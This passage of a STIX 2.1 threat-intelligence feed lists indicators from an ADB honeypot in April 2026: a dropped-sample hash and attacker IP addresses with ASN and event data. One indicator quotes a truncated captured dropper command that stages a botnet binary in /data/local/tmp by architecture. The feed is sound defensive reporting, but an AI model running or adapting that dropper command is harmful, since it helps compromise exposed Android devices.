      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T18:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/e87dbf68f79461623916611d5af4c72f3a5a7f817529a2c97467848c2274e87b.raw; last_seen=2026-04-07T17:53:33.920Z",
      "id": "indicator--03a2f931-cbd4-4d0d-8413-e9a86a3702c3",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'e87dbf68f79461623916611d5af4c72f3a5a7f817529a2c97467848c2274e87b']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=BR; asn=28649; asn_org=Desktop Sigmanet Comunicacao Multimidia SA; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-07T18:27:49.000Z | last_seen=2026-04-07T18:37:56.740Z | ports=5555 | cc=BR | asn=28649 | org=Desktop Sigmanet Comunicacao Multimidia SA",
      "id": "indicator--b8964f1a-d50c-4463-8f4e-c5f7b9aa77ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '186.249.149.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:00:02.000Z",
      "valid_until": "2026-05-09T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-07T18:27:49.000Z",
          "last_seen": "2026-04-07T18:37:56.740Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "28649"
          ],
          "org": [
            "Desktop Sigmanet Comunicacao Multimidia SA"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=TN; asn=37492; asn_org=ORANGE; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-07T18:16:56.000Z | last_seen=2026-04-07T18:26:59.813Z | ports=5555 | cc=TN | asn=37492 | org=ORANGE",
      "id": "indicator--8dfd8de3-a4d6-4f2a-8997-93bd3d81e9a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '196.238.196.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:00:02.000Z",
      "valid_until": "2026-05-09T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-07T18:16:56.000Z",
          "last_seen": "2026-04-07T18:26:59.813Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TN"
          ],
          "asn": [
            "37492"
          ],
          "org": [
            "ORANGE"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=FR; asn=12322; asn_org=Free SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-07T20:44:42.000Z | last_seen=2026-04-08T05:06:47.271Z | ports=5555 | cc=FR | asn=12322 | org=Free SAS",
      "id": "indicator--032a4fb4-94e3-4e0d-9e91-52be0b81c35c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '88.183.110.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T21:00:02.000Z",
      "valid_until": "2026-05-09T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-07T20:44:42.000Z",
          "last_seen": "2026-04-08T05:06:47.271Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "12322"
          ],
          "org": [
            "Free SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-07T23:38:08.000Z | last_seen=2026-04-07T23:49:47.200Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T00:00:03.000Z",
      "valid_until": "2026-05-10T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-07T23:38:08.000Z",
          "last_seen": "2026-04-07T23:49:47.200Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T01:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-08T00:29:31.000Z | last_seen=2026-04-08T00:30:40.624Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--b4f0bf8c-4447-4710-9bee-ed6c330c12a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T01:00:05.000Z",
      "valid_until": "2026-05-10T01:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-08T00:29:31.000Z",
          "last_seen": "2026-04-08T00:30:40.624Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T04:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-08T03:42:05.000Z | last_seen=2026-04-08T03:52:11.380Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T04:00:06.000Z",
      "valid_until": "2026-05-10T04:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-08T03:42:05.000Z",
          "last_seen": "2026-04-08T03:52:11.380Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T04:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-08T03:40:47.000Z | last_seen=2026-04-08T03:41:51.325Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c6fc1362-0c58-4ec2-a4bc-531e6bf90127",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T04:00:06.000Z",
      "valid_until": "2026-05-10T04:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-08T03:40:47.000Z",
          "last_seen": "2026-04-08T03:41:51.325Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T09:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-08T08:46:28.000Z | last_seen=2026-04-08T08:47:28.941Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--c3ab4d2f-8fb5-4e15-b2d9-7e0c22d59a2b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:00:04.000Z",
      "valid_until": "2026-05-10T09:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-08T08:46:28.000Z",
          "last_seen": "2026-04-08T08:47:28.941Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T09:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-08T08:45:26.000Z | last_seen=2026-04-08T08:55:28.638Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--1f541896-28b8-41c6-8103-b9d038bbb5c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.43.126.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:00:04.000Z",
      "valid_until": "2026-05-10T09:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-08T08:45:26.000Z",
          "last_seen": "2026-04-08T08:55:28.638Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T10:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=19 | first_seen=2026-04-08T09:49:59.000Z | last_seen=2026-04-16T15:24:21.189Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--17f0557e-2305-4677-929d-05b8df41024a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.60.241.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:00:13.000Z",
      "valid_until": "2026-05-10T10:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 19,
          "first_seen": "2026-04-08T09:49:59.000Z",
          "last_seen": "2026-04-16T15:24:21.189Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=29; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=2; cmd=\"pkill target; cd /data/local/tmp/; export PATH=$PATH:/data/local/tmp:/system/bin:/system/xbin; arch=$(uname -m); case $arch in *arm*) target=zyre.arm7;; *86|*64\"\n\nObserved in ADBHoney telemetry for 2026-04. events=114 | first_seen=2026-04-08T10:31:12.000Z | last_seen=2026-04-10T14:07:32.706Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--0f79b94f-f376-442d-921d-bf52460dbae6",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:00:02.000Z",
      "valid_until": "2026-05-10T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 114,
          "first_seen": "2026-04-08T10:31:12.000Z",
          "last_seen": "2026-04-10T14:07:32.706Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=MX; asn=17072; asn_org=TOTAL PLAY TELECOMUNICACIONES SA DE CV; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-08T10:02:57.000Z | last_seen=2026-04-08T10:12:58.867Z | ports=5555 | cc=MX | asn=17072 | org=TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "id": "indicator--d96b2451-dc76-4bb8-a9d9-1d363561c383",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '187.189.146.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:00:02.000Z",
      "valid_until": "2026-05-10T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-08T10:02:57.000Z",
          "last_seen": "2026-04-08T10:12:58.867Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "17072"
          ],
          "org": [
            "TOTAL PLAY TELECOMUNICACIONES SA DE CV"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T12:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=SE; asn=42237; asn_org=w1n ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-08T11:59:41.000Z | last_seen=2026-04-08T12:00:43.444Z | ports=5555 | cc=SE | asn=42237 | org=w1n ltd",
      "id": "indicator--9f0c0581-4492-4bc8-90a9-6fda960bc7a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.217.0.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:00:04.000Z",
      "valid_until": "2026-05-10T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-08T11:59:41.000Z",
          "last_seen": "2026-04-08T12:00:43.444Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "42237"
          ],
          "org": [
            "w1n ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-08T13:50:02.000Z | last_seen=2026-04-12T06:34:00.708Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a66b6dbb-7a7f-4ea5-babe-ea42e39ed2ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:00:02.000Z",
      "valid_until": "2026-05-10T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-08T13:50:02.000Z",
          "last_seen": "2026-04-12T06:34:00.708Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-08T13:48:16.000Z | last_seen=2026-04-08T13:49:22.553Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--3df70f94-9744-4e91-8992-bd2ca37f645b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:00:02.000Z",
      "valid_until": "2026-05-10T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-08T13:48:16.000Z",
          "last_seen": "2026-04-08T13:49:22.553Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-08T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=15 | first_seen=2026-04-08T13:01:54.000Z | last_seen=2026-04-08T15:04:36.287Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
